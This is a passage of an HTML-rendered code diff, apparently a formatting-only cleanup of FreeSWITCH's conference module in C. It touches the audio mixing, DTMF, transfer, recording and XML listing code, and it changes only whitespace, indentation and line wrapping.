</span><span class="cx">                                         if (switch_test_flag(omember, MFLAG_HAS_AUDIO) &amp;&amp; x &lt;= omember-&gt;read / 2) {
</span><span class="cx">                                                 z -= (int32_t) bptr[x];
</span><span class="cx">                                         }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                         /* when there are relationships, we have to do more work by scouring all the members to see if there are any 
</span><span class="cx">                                            reasons why we should not be hearing a paticular member, and if not, delete their samples as well.
</span><del>-                                        */
</del><ins>+                                         */
</ins><span class="cx">                                         if (conference-&gt;relationship_total) {
</span><span class="cx">                                                 for (imember = conference-&gt;members; imember; imember = imember-&gt;next) {
</span><span class="cx">                                                         conference_relationship_t *rel;
</span><span class="lines">@@ -1228,15 +1230,15 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><del>-                                        /* Now we can convert to 16 bit.*/
</del><ins>+                                        /* Now we can convert to 16 bit. */
</ins><span class="cx">                                         switch_normalize_to_16bit(z);
</span><span class="cx">                                         write_frame[x] = (int16_t) z;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_mutex_lock(omember-&gt;audio_out_mutex);
</span><span class="cx">                                 ok = switch_buffer_write(omember-&gt;mux_buffer, write_frame, bytes);
</span><span class="cx">                                 switch_mutex_unlock(omember-&gt;audio_out_mutex);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!ok) {
</span><span class="cx">                                         goto end;
</span><span class="cx">                                 }
</span><span class="lines">@@ -1270,7 +1272,7 @@
</span><span class="cx">                 switch_mutex_unlock(conference-&gt;mutex);
</span><span class="cx">         }
</span><span class="cx">         /* Rinse ... Repeat */
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (switch_event_create(&amp;event, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;proto&quot;, CONF_CHAT_PROTO);
</span><span class="lines">@@ -1427,7 +1429,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_set_flag_locked(member-&gt;conference, CFLAG_LOCKED);
</span><del>-                if (test_eflag(member-&gt;conference, EFLAG_LOCK) &amp;&amp; 
</del><ins>+                if (test_eflag(member-&gt;conference, EFLAG_LOCK) &amp;&amp;
</ins><span class="cx">                         switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         conference_add_event_data(member-&gt;conference, event);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Action&quot;, &quot;lock&quot;);
</span><span class="lines">@@ -1439,7 +1441,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_clear_flag_locked(member-&gt;conference, CFLAG_LOCKED);
</span><del>-                if (test_eflag(member-&gt;conference, EFLAG_UNLOCK) &amp;&amp; 
</del><ins>+                if (test_eflag(member-&gt;conference, EFLAG_UNLOCK) &amp;&amp;
</ins><span class="cx">                         switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         conference_add_event_data(member-&gt;conference, event);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Action&quot;, &quot;unlock&quot;);
</span><span class="lines">@@ -1715,7 +1717,7 @@
</span><span class="cx">         int argc;
</span><span class="cx">         char *mydata = NULL;
</span><span class="cx">         switch_event_t *event;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (test_eflag(member-&gt;conference, EFLAG_DTMF) &amp;&amp; switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 conference_add_event_member_data(member, event);
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Action&quot;, &quot;transfer&quot;);
</span><span class="lines">@@ -1723,7 +1725,7 @@
</span><span class="cx">                 switch_event_fire(&amp;event);
</span><span class="cx">         }
</span><span class="cx">         switch_clear_flag_locked(member, MFLAG_RUNNING);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((mydata = switch_core_session_strdup(member-&gt;session, action-&gt;data))) {
</span><span class="cx">                 if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                         if (argc &gt; 0) {
</span><span class="lines">@@ -1735,7 +1737,7 @@
</span><span class="cx">                         if (argc &gt; 2) {
</span><span class="cx">                                 context = argv[2];
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member-&gt;session), SWITCH_LOG_ERROR, &quot;Empty transfer string [%s]\n&quot;, (char *) action-&gt;data);
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -1745,11 +1747,10 @@
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member-&gt;session), SWITCH_LOG_DEBUG, &quot;Transfering to: %s, %s, %s\n&quot;, exten, dialplan, context);
</span><del>-        
-        switch_ivr_session_transfer(member-&gt;session,
-                                                                exten, dialplan, context);
-                                                                
-done:
</del><ins>+
+        switch_ivr_session_transfer(member-&gt;session, exten, dialplan, context);
+
+  done:
</ins><span class="cx">         return;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1763,14 +1764,14 @@
</span><span class="cx">         char *mydata = NULL;
</span><span class="cx">         switch_event_t *event = NULL;
</span><span class="cx">         switch_channel_t *channel = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (test_eflag(member-&gt;conference, EFLAG_DTMF) &amp;&amp; switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 conference_add_event_member_data(member, event);
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Action&quot;, &quot;execute_app&quot;);
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Application&quot;, action-&gt;data);
</span><span class="cx">                 switch_event_fire(&amp;event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((mydata = switch_core_session_strdup(member-&gt;session, action-&gt;data))) {
</span><span class="cx">                 if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                         if (argc &gt; 0) {
</span><span class="lines">@@ -1779,7 +1780,7 @@
</span><span class="cx">                         if (argc &gt; 1) {
</span><span class="cx">                                 arg = argv[1];
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member-&gt;session), SWITCH_LOG_ERROR, &quot;Empty execute app string [%s]\n&quot;, (char *) action-&gt;data);
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -1796,13 +1797,13 @@
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member-&gt;session), SWITCH_LOG_DEBUG, &quot;Execute app: %s, %s\n&quot;, app, arg);
</span><span class="cx"> 
</span><span class="cx">         channel = switch_core_session_get_channel(member-&gt;session);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_set_app_flag(channel, CF_APP_TAGGED);
</span><span class="cx">         switch_core_session_set_read_codec(member-&gt;session, NULL);
</span><span class="cx">         switch_core_session_execute_application(member-&gt;session, app, arg);
</span><del>-        switch_core_session_set_read_codec(member-&gt;session, &amp;member-&gt;read_codec);                                                        
-        switch_channel_clear_app_flag(channel, CF_APP_TAGGED);                                                                                
-done:
</del><ins>+        switch_core_session_set_read_codec(member-&gt;session, &amp;member-&gt;read_codec);
+        switch_channel_clear_app_flag(channel, CF_APP_TAGGED);
+  done:
</ins><span class="cx">         return;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1819,7 +1820,7 @@
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_frame_t *read_frame = NULL;
</span><span class="cx">         uint32_t hangover = 40, hangunder = 15, hangover_hits = 0, hangunder_hits = 0, energy_level = 0, diff_level = 400;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         switch_core_session_t *session = member-&gt;session;
</span><span class="cx">         switch_assert(member != NULL);
</span><span class="cx"> 
</span><span class="lines">@@ -1868,7 +1869,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         goto do_continue;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -1897,7 +1898,7 @@
</span><span class="cx">                                 member-&gt;score = energy / (samples / divisor);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        member-&gt;score_iir = (int)(((1.0 - SCORE_DECAY) * (float)member-&gt;score) + (SCORE_DECAY * (float)member-&gt;score_iir));
</del><ins>+                        member-&gt;score_iir = (int) (((1.0 - SCORE_DECAY) * (float) member-&gt;score) + (SCORE_DECAY * (float) member-&gt;score_iir));
</ins><span class="cx"> 
</span><span class="cx">                         if (member-&gt;score_iir &gt; SCORE_MAX_IIR) {
</span><span class="cx">                                 member-&gt;score_iir = SCORE_MAX_IIR;
</span><span class="lines">@@ -1933,14 +1934,14 @@
</span><span class="cx">                                                         member-&gt;conference-&gt;floor_holder = member;
</span><span class="cx">                                                 }
</span><span class="cx">                                                 switch_mutex_unlock(member-&gt;conference-&gt;member_mutex);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (test_eflag(member-&gt;conference, EFLAG_START_TALKING) &amp;&amp; switch_test_flag(member, MFLAG_CAN_SPEAK) &amp;&amp;
</span><span class="cx">                                                         switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         conference_add_event_member_data(member, event);
</span><span class="cx">                                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Action&quot;, &quot;start-talking&quot;);
</span><span class="cx">                                                         switch_event_fire(&amp;event);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_test_flag(member, MFLAG_MUTE_DETECT) &amp;&amp; !switch_test_flag(member, MFLAG_CAN_SPEAK)) {
</span><span class="cx"> 
</span><span class="cx">                                                         if (!zstr(member-&gt;conference-&gt;mute_detect_sound)) {
</span><span class="lines">@@ -1955,7 +1956,7 @@
</span><span class="cx">                                                         }
</span><span class="cx"> 
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><span class="lines">@@ -1980,12 +1981,12 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 /* skip frames that are not actual media or when we are muted or silent */
</span><del>-                if ((switch_test_flag(member, MFLAG_TALKING) || energy_level == 0) &amp;&amp; switch_test_flag(member, MFLAG_CAN_SPEAK) &amp;&amp; 
</del><ins>+                if ((switch_test_flag(member, MFLAG_TALKING) || energy_level == 0) &amp;&amp; switch_test_flag(member, MFLAG_CAN_SPEAK) &amp;&amp;
</ins><span class="cx">                         !switch_test_flag(member-&gt;conference, CFLAG_WAIT_MOD)) {
</span><span class="cx">                         switch_audio_resampler_t *read_resampler = member-&gt;read_resampler;
</span><span class="cx">                         void *data;
</span><span class="cx">                         uint32_t datalen;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (read_resampler) {
</span><span class="cx">                                 int16_t *bptr = (int16_t *) read_frame-&gt;data;
</span><span class="cx">                                 int len = (int) read_frame-&gt;datalen;
</span><span class="lines">@@ -2019,7 +2020,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-        do_continue:
</del><ins>+          do_continue:
</ins><span class="cx"> 
</span><span class="cx">                 switch_mutex_unlock(member-&gt;read_mutex);
</span><span class="cx">         }
</span><span class="lines">@@ -2035,7 +2036,7 @@
</span><span class="cx"> static void member_add_file_data(conference_member_t *member, int16_t *data, switch_size_t file_data_len)
</span><span class="cx"> {
</span><span class="cx">         switch_size_t file_sample_len = file_data_len / 2;
</span><del>-        int16_t file_frame[SWITCH_RECOMMENDED_BUFFER_SIZE/2] = {0};
</del><ins>+        int16_t file_frame[SWITCH_RECOMMENDED_BUFFER_SIZE / 2] = { 0 };
</ins><span class="cx"> 
</span><span class="cx">         if (!member-&gt;fnode) {
</span><span class="cx">                 return;
</span><span class="lines">@@ -2063,7 +2064,7 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         if (member-&gt;fnode-&gt;type == NODE_TYPE_SPEECH) {
</span><span class="cx">                                 switch_speech_flag_t flags = SWITCH_SPEECH_FLAG_BLOCKING;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                 if (switch_core_speech_read_tts(member-&gt;fnode-&gt;sh, file_frame, &amp;file_data_len, &amp;flags) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         file_sample_len = file_data_len / 2;
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -2077,7 +2078,7 @@
</span><span class="cx">                         if (file_sample_len &lt;= 0) {
</span><span class="cx">                                 switch_event_t *event;
</span><span class="cx">                                 member-&gt;fnode-&gt;done++;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (test_eflag(member-&gt;conference, EFLAG_PLAY_FILE) &amp;&amp;
</span><span class="cx">                                         switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         conference_add_event_data(member-&gt;conference, event);
</span><span class="lines">@@ -2086,20 +2087,20 @@
</span><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;File&quot;, member-&gt;fnode-&gt;file);
</span><span class="cx">                                         switch_event_fire(&amp;event);
</span><span class="cx">                                 }
</span><del>-                        } else {        /* there is file node data to mix into the frame */
</del><ins>+                        } else {                        /* there is file node data to mix into the frame */
</ins><span class="cx">                                 int32_t i, sample;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* Check for output volume adjustments */
</span><span class="cx">                                 if (member-&gt;volume_out_level) {
</span><span class="cx">                                         switch_change_sln_volume(file_frame, file_sample_len, member-&gt;volume_out_level);
</span><span class="cx">                                 }
</span><del>-                                
-                                for(i = 0; i &lt; file_sample_len; i++) {
</del><ins>+
+                                for (i = 0; i &lt; file_sample_len; i++) {
</ins><span class="cx">                                         sample = data[i] + file_frame[i];
</span><span class="cx">                                         switch_normalize_to_16bit(sample);
</span><span class="cx">                                         data[i] = sample;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -2162,14 +2163,14 @@
</span><span class="cx">         uint32_t low_count, bytes;
</span><span class="cx">         call_list_t *call_list, *cp;
</span><span class="cx">         int restarting = -1;
</span><del>-        switch_codec_implementation_t read_impl = {0};
-        
- top:
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx"> 
</span><ins>+  top:
+
</ins><span class="cx">         switch_core_session_get_read_impl(member-&gt;session, &amp;read_impl);
</span><span class="cx"> 
</span><span class="cx">         restarting++;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(member, MFLAG_RESTART)) {
</span><span class="cx">                 switch_clear_flag(member, MFLAG_RESTART);
</span><span class="cx">                 switch_set_flag_locked(member, MFLAG_FLUSH_BUFFER);
</span><span class="lines">@@ -2215,11 +2216,12 @@
</span><span class="cx">         if (!restarting) {
</span><span class="cx">                 /* Start the input thread */
</span><span class="cx">                 launch_conference_loop_input(member, switch_core_session_get_pool(member-&gt;session));
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* build a digit stream object */
</span><span class="cx">                 if (member-&gt;conference-&gt;dtmf_parser != NULL
</span><span class="cx">                         &amp;&amp; switch_ivr_digit_stream_new(member-&gt;conference-&gt;dtmf_parser, &amp;member-&gt;digit_stream) != SWITCH_STATUS_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member-&gt;session), SWITCH_LOG_ERROR, &quot;Danger Will Robinson, there is no digit parser stream object\n&quot;);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member-&gt;session), SWITCH_LOG_ERROR,
+                                                          &quot;Danger Will Robinson, there is no digit parser stream object\n&quot;);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if ((call_list = switch_channel_get_private(channel, &quot;_conference_autocall_list_&quot;))) {
</span><span class="lines">@@ -2230,7 +2232,7 @@
</span><span class="cx">                         const char *ann = switch_channel_get_variable(channel, &quot;conference_auto_outcall_announce&quot;);
</span><span class="cx">                         const char *prefix = switch_channel_get_variable(channel, &quot;conference_auto_outcall_prefix&quot;);
</span><span class="cx">                         int to = 60;
</span><del>-                
</del><ins>+
</ins><span class="cx">                         if (ann) {
</span><span class="cx">                                 member-&gt;conference-&gt;special_announce = switch_core_strdup(member-&gt;conference-&gt;pool, ann);
</span><span class="cx">                         }
</span><span class="lines">@@ -2311,7 +2313,8 @@
</span><span class="cx">                 if (switch_channel_test_flag(channel, CF_OUTBOUND)) {
</span><span class="cx">                         /* test to see if outbound channel has answered */
</span><span class="cx">                         if (switch_channel_test_flag(channel, CF_ANSWERED) &amp;&amp; !switch_test_flag(member-&gt;conference, CFLAG_ANSWERED)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member-&gt;session), SWITCH_LOG_DEBUG, &quot;Outbound conference channel answered, setting CFLAG_ANSWERED\n&quot;);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member-&gt;session), SWITCH_LOG_DEBUG,
+                                                                  &quot;Outbound conference channel answered, setting CFLAG_ANSWERED\n&quot;);
</ins><span class="cx">                                 switch_set_flag(member-&gt;conference, CFLAG_ANSWERED);
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="lines">@@ -2351,8 +2354,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member-&gt;session),
</span><span class="cx">                                                           SWITCH_LOG_INFO,
</span><span class="cx">                                                           &quot;executing caller control '%s' param '%s' on call '%u, %s\n&quot;,
</span><del>-                                                          caller_action-&gt;fndesc-&gt;key,
-                                                          param ? param : &quot;none&quot;, member-&gt;id, switch_channel_get_name(channel));
</del><ins>+                                                          caller_action-&gt;fndesc-&gt;key, param ? param : &quot;none&quot;, member-&gt;id, switch_channel_get_name(channel));
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx">                         caller_action-&gt;fndesc-&gt;handler(member, caller_action);
</span><span class="lines">@@ -2361,7 +2363,7 @@
</span><span class="cx">                         caller_action = NULL;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 use_buffer = NULL;
</span><span class="cx">                 mux_used = (uint32_t) switch_buffer_inuse(member-&gt;mux_buffer);
</span><span class="cx"> 
</span><span class="lines">@@ -2376,10 +2378,10 @@
</span><span class="cx">                                 switch_set_flag_locked(member, MFLAG_FLUSH_BUFFER);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 use_timer = 1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (mux_used) {
</span><span class="cx">                         /* Flush the output buffer and write all the data (presumably muxed) back to the channel */
</span><span class="cx">                         switch_mutex_lock(member-&gt;audio_out_mutex);
</span><span class="lines">@@ -2412,7 +2414,7 @@
</span><span class="cx">                 } else if (!switch_test_flag(member-&gt;conference, CFLAG_WASTE_BANDWIDTH)) {
</span><span class="cx">                         if (switch_test_flag(member, MFLAG_WASTE_BANDWIDTH)) {
</span><span class="cx">                                 if (member-&gt;conference-&gt;comfort_noise_level) {
</span><del>-                                                switch_generate_sln_silence(write_frame.data, samples, member-&gt;conference-&gt;comfort_noise_level);
</del><ins>+                                        switch_generate_sln_silence(write_frame.data, samples, member-&gt;conference-&gt;comfort_noise_level);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         memset(write_frame.data, 255, bytes);
</span><span class="cx">                                 }
</span><span class="lines">@@ -2420,7 +2422,7 @@
</span><span class="cx">                                 write_frame.datalen = bytes;
</span><span class="cx">                                 write_frame.samples = samples;
</span><span class="cx">                                 write_frame.timestamp = timer.samplecount;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_session_write_frame(member-&gt;session, &amp;write_frame, SWITCH_IO_FLAG_NONE, 0);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -2433,7 +2435,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         switch_clear_flag_locked(member, MFLAG_FLUSH_BUFFER);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_mutex_unlock(member-&gt;write_mutex);
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -2446,14 +2448,14 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_ivr_parse_all_messages(member-&gt;session);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (use_timer) {
</span><span class="cx">                         switch_core_timer_next(&amp;timer);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_cond_next();
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-        } /* Rinse ... Repeat */
</del><ins>+        }                                                        /* Rinse ... Repeat */
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (member-&gt;digit_stream != NULL) {
</span><span class="lines">@@ -2544,7 +2546,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Joining Conference\n&quot;);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         fh.pre_buffer_datalen = SWITCH_DEFAULT_FILE_BUFFER_LEN;
</span><span class="cx"> 
</span><span class="cx">         if (switch_core_file_open(&amp;fh,
</span><span class="lines">@@ -2572,7 +2574,7 @@
</span><span class="cx">         while (switch_test_flag(member, MFLAG_RUNNING) &amp;&amp; switch_test_flag(conference, CFLAG_RUNNING) &amp;&amp; conference-&gt;count) {
</span><span class="cx">                 switch_size_t len = 0;
</span><span class="cx">                 mux_used = (uint32_t) switch_buffer_inuse(member-&gt;mux_buffer);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_test_flag(member, MFLAG_FLUSH_BUFFER)) {
</span><span class="cx">                         if (mux_used) {
</span><span class="cx">                                 switch_mutex_lock(member-&gt;audio_out_mutex);
</span><span class="lines">@@ -2595,13 +2597,13 @@
</span><span class="cx">                                         len = (switch_size_t) rlen / sizeof(int16_t);
</span><span class="cx">                                 }
</span><span class="cx">                                 switch_mutex_unlock(member-&gt;audio_out_mutex);
</span><del>-                        } 
-                        
</del><ins>+                        }
+
</ins><span class="cx">                         if (len &lt; (switch_size_t) samples) {
</span><del>-                                memset(data_buf + (len * sizeof(int16_t)), 255, ((switch_size_t)samples - len) * sizeof(int16_t));
</del><ins>+                                memset(data_buf + (len * sizeof(int16_t)), 255, ((switch_size_t) samples - len) * sizeof(int16_t));
</ins><span class="cx">                                 len = (switch_size_t) samples;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!len || switch_core_file_write(&amp;fh, data_buf, &amp;len) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write Failed\n&quot;);
</span><span class="cx">                                 switch_clear_flag_locked(member, MFLAG_RUNNING);
</span><span class="lines">@@ -2712,12 +2714,12 @@
</span><span class="cx">         for (imember = conference-&gt;members; imember; imember = imember-&gt;next) {
</span><span class="cx">                 /* don't send to self */
</span><span class="cx">                 if (imember-&gt;id == member-&gt;id) {
</span><del>-                        continue;                         
</del><ins>+                        continue;
</ins><span class="cx">                 }
</span><span class="cx">                 if (imember-&gt;session) {
</span><span class="cx">                         const char *p;
</span><span class="cx">                         for (p = dtmf; p &amp;&amp; *p; p++) {
</span><del>-                                switch_dtmf_t digit = { *p, SWITCH_DEFAULT_DTMF_DURATION};
</del><ins>+                                switch_dtmf_t digit = { *p, SWITCH_DEFAULT_DTMF_DURATION };
</ins><span class="cx">                                 lock_member(imember);
</span><span class="cx">                                 switch_core_session_kill_channel(imember-&gt;session, SWITCH_SIG_BREAK);
</span><span class="cx">                                 switch_core_session_send_dtmf(imember-&gt;session, &amp;digit);
</span><span class="lines">@@ -3480,9 +3482,7 @@
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;Conference %s (%u member%s rate: %u%s)\n&quot;,
</span><span class="cx">                                                                    conference-&gt;name,
</span><span class="cx">                                                                    conference-&gt;count,
</span><del>-                                                                   conference-&gt;count == 1 ? &quot;&quot; : &quot;s&quot;,
-                                                                   conference-&gt;rate,
-                                                                   switch_test_flag(conference, CFLAG_LOCKED) ? &quot; locked&quot; : &quot;&quot;);
</del><ins>+                                                                   conference-&gt;count == 1 ? &quot;&quot; : &quot;s&quot;, conference-&gt;rate, switch_test_flag(conference, CFLAG_LOCKED) ? &quot; locked&quot; : &quot;&quot;);
</ins><span class="cx">                         count++;
</span><span class="cx">                         if (!summary) {
</span><span class="cx">                                 if (pretty) {
</span><span class="lines">@@ -3520,7 +3520,7 @@
</span><span class="cx"> 
</span><span class="cx">         x_tag = switch_xml_add_child_d(x_member, name, off);
</span><span class="cx">         switch_assert(x_tag);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_zmalloc(data, dlen);
</span><span class="cx"> 
</span><span class="cx">         switch_url_encode(value, data, dlen);
</span><span class="lines">@@ -3537,7 +3537,7 @@
</span><span class="cx">         char *ival = i;
</span><span class="cx">         switch_assert(conference != NULL);
</span><span class="cx">         switch_assert(x_conference != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_set_attr_d(x_conference, &quot;name&quot;, conference-&gt;name);
</span><span class="cx">         switch_snprintf(i, sizeof(i), &quot;%d&quot;, conference-&gt;count);
</span><span class="cx">         switch_xml_set_attr_d(x_conference, &quot;member-count&quot;, ival);
</span><span class="lines">@@ -3547,7 +3547,7 @@
</span><span class="cx">         if (switch_test_flag(conference, CFLAG_LOCKED)) {
</span><span class="cx">                 switch_xml_set_attr_d(x_conference, &quot;locked&quot;, &quot;true&quot;);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(conference, CFLAG_DESTRUCT)) {
</span><span class="cx">                 switch_xml_set_attr_d(x_conference, &quot;destruct&quot;, &quot;true&quot;);
</span><span class="cx">         }
</span><span class="lines">@@ -3578,7 +3578,7 @@
</span><span class="cx"> 
</span><span class="cx">         x_members = switch_xml_add_child_d(x_conference, &quot;members&quot;, 0);
</span><span class="cx">         switch_assert(x_members);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(conference-&gt;member_mutex);
</span><span class="cx"> 
</span><span class="cx">         for (member = conference-&gt;members; member; member = member-&gt;next) {
</span><span class="lines">@@ -3589,7 +3589,7 @@
</span><span class="cx">                 uint32_t count = 0;
</span><span class="cx">                 switch_xml_t x_tag;
</span><span class="cx">                 int toff = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_test_flag(member, MFLAG_NOCHANNEL)) {
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="lines">@@ -3599,7 +3599,7 @@
</span><span class="cx">                 profile = switch_channel_get_caller_profile(channel);
</span><span class="cx">                 name = switch_channel_get_name(channel);
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 x_member = switch_xml_add_child_d(x_members, &quot;member&quot;, moff++);
</span><span class="cx">                 switch_assert(x_member);
</span><span class="cx"> 
</span><span class="lines">@@ -3609,8 +3609,8 @@
</span><span class="cx">                 add_x_tag(x_member, &quot;uuid&quot;, uuid, toff++);
</span><span class="cx">                 add_x_tag(x_member, &quot;caller_id_name&quot;, profile-&gt;caller_id_name, toff++);
</span><span class="cx">                 add_x_tag(x_member, &quot;caller_id_number&quot;, profile-&gt;caller_id_number, toff++);
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 x_flags = switch_xml_add_child_d(x_member, &quot;flags&quot;, count++);
</span><span class="cx">                 switch_assert(x_flags);
</span><span class="cx"> 
</span><span class="lines">@@ -3625,16 +3625,16 @@
</span><span class="cx"> 
</span><span class="cx">                 x_tag = switch_xml_add_child_d(x_flags, &quot;has_video&quot;, count++);
</span><span class="cx">                 switch_xml_set_txt_d(x_tag, switch_channel_test_flag(switch_core_session_get_channel(member-&gt;session), CF_VIDEO) ? &quot;true&quot; : &quot;false&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 x_tag = switch_xml_add_child_d(x_flags, &quot;has_floor&quot;, count++);
</span><span class="cx">                 switch_xml_set_txt_d(x_tag, (member == member-&gt;conference-&gt;floor_holder) ? &quot;true&quot; : &quot;false&quot;);
</span><del>-                
</del><ins>+
